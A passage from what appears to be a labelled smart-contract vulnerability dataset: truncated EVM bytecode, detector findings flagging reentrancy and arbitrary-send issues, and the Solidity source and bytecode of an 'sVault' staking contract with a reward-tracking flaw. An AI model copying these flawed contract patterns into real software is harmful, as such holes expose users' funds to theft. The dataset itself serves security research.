910390fd5b60005b8151811015610449576001600a600084848151811061040557634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061044181611b4f565b9150506103d6565b5050565b600061045a338484610af9565b5060015b92915050565b6000610471848484610c1d565b6104c384336104be85604051806060016040528060288152602001611bba602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061102f565b610af9565b5060019392505050565b6000546001600160a01b031633146104f75760405162461bcd60e51b81526004016103ca90611a3c565b600f54600160a01b900460ff16156105515760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103ca565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561058d3082670de0b6b3a7640000610af9565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c657600080fd5b505afa1580156105da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fe91906117e6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064657600080fd5b505afa15801561065a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067e91906117e6565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106c657600080fd5b505af11580156106da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fe91906117e6565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061072e8161094e565b6000806107436000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107a657600080fd5b505af11580156107ba573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107df91906119bc565b5050600f8054660aa87bee53800060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561085657600080fd5b505af115801561086a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104499190611988565b6000546001600160a01b031633146108b85760405162461bcd60e51b81526004016103ca90611a3c565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146109005760405162461bcd60e51b81526004016103ca90611a3c565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461094157600080fd5b4761094b81611069565b50565b6001600160a01b03811660009081526002602052604081205461045e906110ee565b6000546001600160a01b0316331461099a5760405162461bcd60e51b81526004016103ca90611a3c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045a338484610c1d565b600c546001600160a01b0316336001600160a01b031614610a1157600080fd5b6000610a1c3061094e565b905061094b81611172565b6000546001600160a01b03163314610a515760405162461bcd60e51b81526004016103ca90611a3c565b60008111610aa15760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103ca565b610abe6064610ab8670de0b6b3a764000084611317565b90611396565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b5b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103ca565b6001600160a01b038216610bbc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103ca565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c815760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103ca565b6001600160a01b038216610ce35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103ca565b60008111610d455760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103ca565b6000546001600160a01b03848116911614801590610d7157506000546001600160a01b03838116911614155b15610fd257600f54600160b81b900460ff1615610e58576001600160a01b0383163014801590610daa57506001600160a01b0382163014155b8015610dc45750600e546001600160a01b03848116911614155b8015610dde5750600e546001600160a01b03838116911614155b15610e5857600e546001600160a01b0316336001600160a01b03161480610e185750600f546001600160a01b0316336001600160a01b0316145b610e585760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103ca565b601054811115610e6757600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610ea957506001600160a01b0382166000908152600a602052604090205460ff16155b610eb257600080fd5b600f546001600160a01b038481169116148015610edd5750600e546001600160a01b03838116911614155b8015610f0257506001600160a01b03821660009081526005602052604090205460ff16155b8015610f175750600f54600160b81b900460ff165b15610f65576001600160a01b0382166000908152600b60205260409020544211610f4057600080fd5b610f4b42600a611ae1565b6001600160a01b0383166000908152600b60205260409020555b6000610f703061094e565b600f54909150600160a81b900460ff16158015610f9b5750600f546001600160a01b03858116911614155b8015610fb05750600f54600160b01b900460ff165b15610fd057610fbe81611172565b478015610fce57610fce47611069565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101457506001600160a01b03831660009081526005602052604090205460ff165b1561101d575060005b611029848484846113d8565b50505050565b600081848411156110535760405162461bcd60e51b81526004016103ca91906119e9565b5060006110608486611b38565b95945050505050565b600c546001600160a01b03166108fc611083836002611396565b6040518115909202916000818181858888f193505050501580156110ab573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110c6836002611396565b6040518115909202916000818181858888f19350505050158015610449573d6000803e3d6000fd5b60006006548211156111555760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103ca565b600061115f611404565b905061116b8382611396565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111c857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561121c57600080fd5b505afa158015611230573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125491906117e6565b8160018151811061127557634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e5461129b9130911684610af9565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112d4908590600090869030904290600401611a71565b600060405180830381600087803b1580156112ee57600080fd5b505af1158015611302573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826113265750600061045e565b60006113328385611b19565b90508261133f8583611af9565b1461116b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103ca565b600061116b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611427565b806113e5576113e5611455565b6113f0848484611478565b80611029576110296005600855600a600955565b600080600061141161156f565b90925090506114208282611396565b9250505090565b600081836114485760405162461bcd60e51b81526004016103ca91906119e9565b5060006110608486611af9565b6008541580156114655750600954155b1561146c57565b60006008819055600955565b60008060008060008061148a876115af565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114bc908761160c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114eb908661164e565b6001600160a01b03891660009081526002602052604090205561150d816116ad565b61151784836116f7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161155c91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061158a8282611396565b8210156115a657505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006115cc8a60085460095461171b565b92509250925060006115dc611404565b905060008060006115ef8e87878761176a565b919e509c509a509598509396509194505050505091939550919395565b600061116b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061102f565b60008061165b8385611ae1565b90508381101561116b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103ca565b60006116b7611404565b905060006116c58383611317565b306000908152600260205260409020549091506116e2908261164e565b30600090815260026020526040902055505050565b600654611704908361160c565b600655600754611714908261164e565b6007555050565b600080808061172f6064610ab88989611317565b905060006117426064610ab88a89611317565b9050600061175a826117548b8661160c565b9061160c565b9992985090965090945050505050565b60008080806117798886611317565b905060006117878887611317565b905060006117958888611317565b905060006117a782611754868661160c565b939b939a50919850919650505050505050565b80356117c581611b96565b919050565b6000602082840312156117db578081fd5b813561116b81611b96565b6000602082840312156117f7578081fd5b815161116b81611b96565b60008060408385031215611814578081fd5b823561181f81611b96565b9150602083013561182f81611b96565b809150509250929050565b60008060006060848603121561184e578081fd5b833561185981611b96565b9250602084013561186981611b96565b929592945050506040919091013590565b6000806040838503121561188c578182fd5b823561189781611b96565b946020939093013593505050565b600060208083850312156118b7578182fd5b823567ffffffffffffffff808211156118ce578384fd5b818501915085601f8301126118e1578384fd5b8135818111156118f3576118f3611b80565b8060051b604051601f19603f8301168101818110858211171561191857611918611b80565b604052828152858101935084860182860187018a1015611936578788fd5b8795505b8386101561195f5761194b816117ba565b85526001959095019493860193860161193a565b5098975050505050505050565b60006020828403121561197d578081fd5b813561116b81611bab565b600060208284031215611999578081fd5b815161116b81611bab565b6000602082840312156119b5578081fd5b5035919050565b6000806000606084860312156119d0578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a15578581018301518582016040015282016119f9565b81811115611a265783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ac05784516001600160a01b031683529383019391830191600101611a9b565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611af457611af4611b6a565b500190565b600082611b1457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b3357611b33611b6a565b500290565b600082821015611b4a57611b4a611b6a565b500390565b6000600019821415611b6357611b63611b6a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094b57600080fd5b801515811461094b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b56b4b2eef46f355a0bb84611861319cdf0ebebd8af060dc94910250a23675a664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,251
0x304fe36fa12e847555470db7a94038c3bcf05b1b
/** *Submitted for verification at Etherscan.io on 2021-02-05 */ // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{ value : amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract sVault { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; struct Reward { uint256 amount; uint256 timestamp; uint256 totalDeposit; } mapping(address => uint256) public _lastCheckTime; mapping(address => uint256) public _rewardBalance; mapping(address => uint256) public _depositBalances; uint256 public _totalDeposit; Reward[] public _rewards; string public _vaultName; IERC20 public token0; IERC20 public token1; address public feeAddress; address public vaultAddress; uint32 public feePermill; uint256 public delayDuration = 7 days; bool public withdrawable; uint256 public totalRate = 10000; uint256 public userRate = 8500; address public treasury; address public gov; uint256 public _rewardCount; event SentReward(uint256 amount); event Deposited(address indexed user, uint256 amount); event ClaimedReward(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name, address _treasury) payable { token0 = IERC20(_token0); token1 = IERC20(_token1); feeAddress = _feeAddress; vaultAddress = _vaultAddress; _vaultName = name; gov = msg.sender; treasury = _treasury; } modifier onlyGov() { require(msg.sender == gov, "!governance"); _; } function setGovernance(address _gov) external onlyGov { gov = _gov; } function setToken0(address _token) external onlyGov { token0 = IERC20(_token); } function setTotalRate(uint256 _totalRate) external onlyGov { totalRate = _totalRate; } function setTreasury(address _treasury) external onlyGov { treasury = _treasury; } function setUserRate(uint256 _userRate) external onlyGov { userRate = _userRate; } function setToken1(address _token) external onlyGov { token1 = IERC20(_token); } function setFeeAddress(address _feeAddress) external onlyGov { feeAddress = _feeAddress; } function setVaultAddress(address _vaultAddress) external onlyGov { vaultAddress = _vaultAddress; } function setFeePermill(uint32 _feePermill) external onlyGov { feePermill = _feePermill; } function setDelayDuration(uint32 _delayDuration) external onlyGov { delayDuration = _delayDuration; } function setWithdrawable(bool _withdrawable) external onlyGov { withdrawable = _withdrawable; } function setVaultName(string memory name) external onlyGov { _vaultName = name; } function balance0() external view returns (uint256) { return token0.balanceOf(address(this)); } function balance1() external view returns (uint256) { return token1.balanceOf(address(this)); } function getReward(address userAddress) internal { uint256 lastCheckTime = _lastCheckTime[userAddress]; uint256 rewardBalance = _rewardBalance[userAddress]; if (lastCheckTime > 0 && _rewards.length > 0) { for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) { rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit)); if (i == 0) break; } } _rewardBalance[userAddress] = rewardBalance; _lastCheckTime[msg.sender] = block.timestamp; } function deposit(uint256 amount) external { getReward(msg.sender); uint256 feeAmount = amount.mul(feePermill).div(1000); uint256 realAmount = amount.sub(feeAmount); if (feeAmount > 0) { token0.safeTransferFrom(msg.sender, feeAddress, feeAmount); } if (realAmount > 0) { token0.safeTransferFrom(msg.sender, vaultAddress, realAmount); _depositBalances[msg.sender] = _depositBalances[msg.sender].add(realAmount); _totalDeposit = _totalDeposit.add(realAmount); emit Deposited(msg.sender, realAmount); } } function withdraw(uint256 amount) external { require(token0.balanceOf(address(this)) > 0, "no withdraw amount"); require(withdrawable, "not withdrawable"); getReward(msg.sender); if (amount > _depositBalances[msg.sender]) { amount = _depositBalances[msg.sender]; } require(amount > 0, "can't withdraw 0"); token0.safeTransfer(msg.sender, amount); _depositBalances[msg.sender] = _depositBalances[msg.sender].sub(amount); _totalDeposit = _totalDeposit.sub(amount); emit Withdrawn(msg.sender, amount); } function sendReward(uint256 amount) external { require(amount > 0, "can't reward 0"); require(_totalDeposit > 0, "totalDeposit must bigger than 0"); uint256 amountUser = amount.mul(userRate).div(totalRate); amount = amount.sub(amountUser); token1.safeTransferFrom(msg.sender, address(this), amountUser); token1.safeTransferFrom(msg.sender, treasury, amount); Reward memory reward; reward = Reward(amountUser, block.timestamp, _totalDeposit); _rewards.push(reward); emit SentReward(amountUser); } function claimReward(uint256 amount) external { getReward(msg.sender); uint256 rewardLimit = getRewardAmount(msg.sender); if (amount > rewardLimit) { amount = rewardLimit; } _rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(amount); token1.safeTransfer(msg.sender, amount); } function claimRewardAll() external { getReward(msg.sender); uint256 rewardLimit = getRewardAmount(msg.sender); _rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(rewardLimit); token1.safeTransfer(msg.sender, rewardLimit); } function getRewardAmount(address userAddress) public view returns (uint256) { uint256 lastCheckTime = _lastCheckTime[userAddress]; uint256 rewardBalance = _rewardBalance[userAddress]; if (_rewards.length > 0) { if (lastCheckTime > 0) { for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) { rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit)); if (i == 0) break; } } for (uint j = _rewards.length - 1; block.timestamp < _rewards[j].timestamp.add(delayDuration); j--) { uint256 timedAmount = _rewards[j].amount.mul(_depositBalances[userAddress]).div(_rewards[j].totalDeposit); timedAmount = timedAmount.mul(_rewards[j].timestamp.add(delayDuration).sub(block.timestamp)).div(delayDuration); rewardBalance = rewardBalance.sub(timedAmount); if (j == 0) break; } } return rewardBalance; } function seize(address token, address to) external onlyGov { require(IERC20(token) != token0 && IERC20(token) != token1, "main tokens"); if (token != address(0)) { uint256 amount = IERC20(token).balanceOf(address(this)); IERC20(token).transfer(to, amount); } else { uint256 amount = address(this).balance; payable(to).transfer(amount); } } fallback () external payable { } receive () external payable { } }
0x6080604052600436106102345760003560e01c8063ab033ea91161012e578063c78b6dea116100ab578063e4186aa61161006f578063e4186aa6146107d9578063f0f442601461080c578063fab980b71461083f578063fcc0c680146108c9578063fe7b82d9146109045761023b565b8063c78b6dea14610729578063cbeb7ef214610753578063d21220a71461077f578063d86e1ef714610794578063e2aa2a85146107c45761023b565b8063b79ea884116100f2578063b79ea88414610669578063b8f6e8411461069c578063b8f79288146106b1578063c45c4f58146106e1578063c6e426bd146106f65761023b565b8063ab033ea91461059a578063adc3b31b146105cd578063ae169a5014610600578063b5984a361461062a578063b6b55f251461063f5761023b565b8063430bf08a116101bc578063637830ca11610180578063637830ca146104c257806371e2f020146104d757806385535cc5146104ec5780638705fcd41461051f5780638f1e9405146105525761023b565b8063430bf08a1461040e57806344264d3d1461042357806344a040f514610451578063501883011461048457806361d027b3146104ad5761023b565b806327b5b6a01161020357806327b5b6a01461035d5780632e1a7d4d1461039057806336422e54146103ba57806341275358146103e457806342a66f68146103f95761023b565b80630dfe16811461023d57806311cc66b21461026e57806312d43a51146103215780631c69ad00146103365761023b565b3661023b57005b005b34801561024957600080fd5b5061025261092e565b604080516001600160a01b039092168252519081900360200190f35b34801561027a57600080fd5b5061023b6004803603602081101561029157600080fd5b8101906020810181356401000000008111156102ac57600080fd5b8201836020820111156102be57600080fd5b803590602001918460018302840111640100000000831117156102e057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061093d945050505050565b34801561032d57600080fd5b506102526109a1565b34801561034257600080fd5b5061034b6109b0565b60408051918252519081900360200190f35b34801561036957600080fd5b5061034b6004803603602081101561038057600080fd5b50356001600160a01b0316610a2c565b34801561039c57600080fd5b5061023b600480360360208110156103b357600080fd5b5035610a3e565b3480156103c657600080fd5b5061023b600480360360208110156103dd57600080fd5b5035610c4a565b3480156103f057600080fd5b50610252610c9c565b34801561040557600080fd5b5061034b610cab565b34801561041a57600080fd5b50610252610cb1565b34801561042f57600080fd5b50610438610cc0565b6040805163ffffffff9092168252519081900360200190f35b34801561045d57600080fd5b5061034b6004803603602081101561047457600080fd5b50356001600160a01b0316610cd3565b34801561049057600080fd5b50610499610e76565b604080519115158252519081900360200190f35b3480156104b957600080fd5b50610252610e7f565b3480156104ce57600080fd5b5061023b610e8e565b3480156104e357600080fd5b5061034b610eee565b3480156104f857600080fd5b5061023b6004803603602081101561050f57600080fd5b50356001600160a01b0316610ef4565b34801561052b57600080fd5b5061023b6004803603602081101561054257600080fd5b50356001600160a01b0316610f63565b34801561055e57600080fd5b5061057c6004803603602081101561057557600080fd5b5035610fd2565b60408051938452602084019290925282820152519081900360600190f35b3480156105a657600080fd5b5061023b600480360360208110156105bd57600080fd5b50356001600160a01b0316611005565b3480156105d957600080fd5b5061034b600480360360208110156105f057600080fd5b50356001600160a01b0316611074565b34801561060c57600080fd5b5061023b6004803603602081101561062357600080fd5b5035611086565b34801561063657600080fd5b5061034b6110ee565b34801561064b57600080fd5b5061023b6004803603602081101561066257600080fd5b50356110f4565b34801561067557600080fd5b5061023b6004803603602081101561068c57600080fd5b50356001600160a01b03166111f7565b3480156106a857600080fd5b5061034b611266565b3480156106bd57600080fd5b5061023b600480360360208110156106d457600080fd5b503563ffffffff1661126c565b3480156106ed57600080fd5b5061034b6112df565b34801561070257600080fd5b5061023b6004803603602081101561071957600080fd5b50356001600160a01b031661132a565b34801561073557600080fd5b5061023b6004803603602081101561074c57600080fd5b5035611399565b34801561075f57600080fd5b5061023b6004803603602081101561077657600080fd5b50351515611586565b34801561078b57600080fd5b506102526115e6565b3480156107a057600080fd5b5061023b600480360360208110156107b757600080fd5b503563ffffffff166115f5565b3480156107d057600080fd5b5061034b61164d565b3480156107e557600080fd5b5061034b600480360360208110156107fc57600080fd5b50356001600160a01b0316611653565b34801561081857600080fd5b5061023b6004803603602081101561082f57600080fd5b50356001600160a01b0316611665565b34801561084b57600080fd5b506108546116d4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561088e578181015183820152602001610876565b50505050905090810190601f1680156108bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108d557600080fd5b5061023b600480360360408110156108ec57600080fd5b506001600160a01b0381358116916020013516611762565b34801561091057600080fd5b5061023b6004803603602081101561092757600080fd5b503561196b565b6006546001600160a01b031681565b600f546001600160a01b0316331461098a576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b805161099d906005906020840190611f9c565b5050565b600f546001600160a01b031681565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109fb57600080fd5b505afa158015610a0f573d6000803e3d6000fd5b505050506040513d6020811015610a2557600080fd5b5051905090565b60006020819052908152604090205481565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610a8957600080fd5b505afa158015610a9d573d6000803e3d6000fd5b505050506040513d6020811015610ab357600080fd5b505111610afc576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b600b5460ff16610b46576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b610b4f336119bd565b33600090815260026020526040902054811115610b785750336000908152600260205260409020545b60008111610bc0576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b600654610bd7906001600160a01b03163383611ac5565b33600090815260026020526040902054610bf19082611b17565b33600090815260026020526040902055600354610c0e9082611b17565b60035560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b600f546001600160a01b03163314610c97576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600d55565b6008546001600160a01b031681565b600c5481565b6009546001600160a01b031681565b600954600160a01b900463ffffffff1681565b6001600160a01b03811660009081526020818152604080832054600190925282205460045415610e6f578115610dc757600454600019015b60048181548110610d1857fe5b906000526020600020906003020160010154831015610dc557610db0610da960048381548110610d4457fe5b906000526020600020906003020160020154610da3600260008a6001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610d8c57fe5b600091825260209091206003909102015490611b62565b90611bbb565b8390611bfd565b915080610dbc57610dc5565b60001901610d0b565b505b600454600019015b610e02600a5460048381548110610de257fe5b906000526020600020906003020160010154611bfd90919063ffffffff16565b421015610e6d576000610e1b60048381548110610d4457fe5b9050610e4a600a54610da3610e4342610e3d600a5460048981548110610de257fe5b90611b17565b8490611b62565b9050610e568382611b17565b925081610e635750610e6d565b5060001901610dcf565b505b9392505050565b600b5460ff1681565b600e546001600160a01b031681565b610e97336119bd565b6000610ea233610cd3565b33600090815260016020526040902054909150610ebf9082611b17565b33600081815260016020526040902091909155600754610eeb916001600160a01b039091169083611ac5565b50565b600d5481565b600f546001600160a01b03163314610f41576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600f546001600160a01b03163314610fb0576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048181548110610fe257600080fd5b600091825260209091206003909102018054600182015460029092015490925083565b600f546001600160a01b03163314611052576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b60016020526000908152604090205481565b61108f336119bd565b600061109a33610cd3565b9050808211156110a8578091505b336000908152600160205260409020546110c29083611b17565b3360008181526001602052604090209190915560075461099d916001600160a01b039091169084611ac5565b600a5481565b6110fd336119bd565b600954600090611127906103e890610da390859063ffffffff600160a01b909104811690611b6216565b905060006111358383611b17565b9050811561115c5760085460065461115c916001600160a01b039182169133911685611c57565b80156111f257600954600654611181916001600160a01b039182169133911684611c57565b3360009081526002602052604090205461119b9082611bfd565b336000908152600260205260409020556003546111b89082611bfd565b60035560408051828152905133917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a25b505050565b600f546001600160a01b03163314611244576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60035481565b600f546001600160a01b031633146112b9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6009805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109fb57600080fd5b600f546001600160a01b03163314611377576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600081116113df576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060035411611436576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b6000611453600c54610da3600d5485611b6290919063ffffffff16565b905061145f8282611b17565b60075490925061147a906001600160a01b0316333084611c57565b600e54600754611499916001600160a01b039182169133911685611c57565b6114a1612028565b50604080516060810182528281524260208083019182526003805484860190815260048054600181018255600091909152855192027f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b81019290925592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015591517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201919091558251848152925191927feae918ad14bd0bcaa9f9d22da2b810c02f4433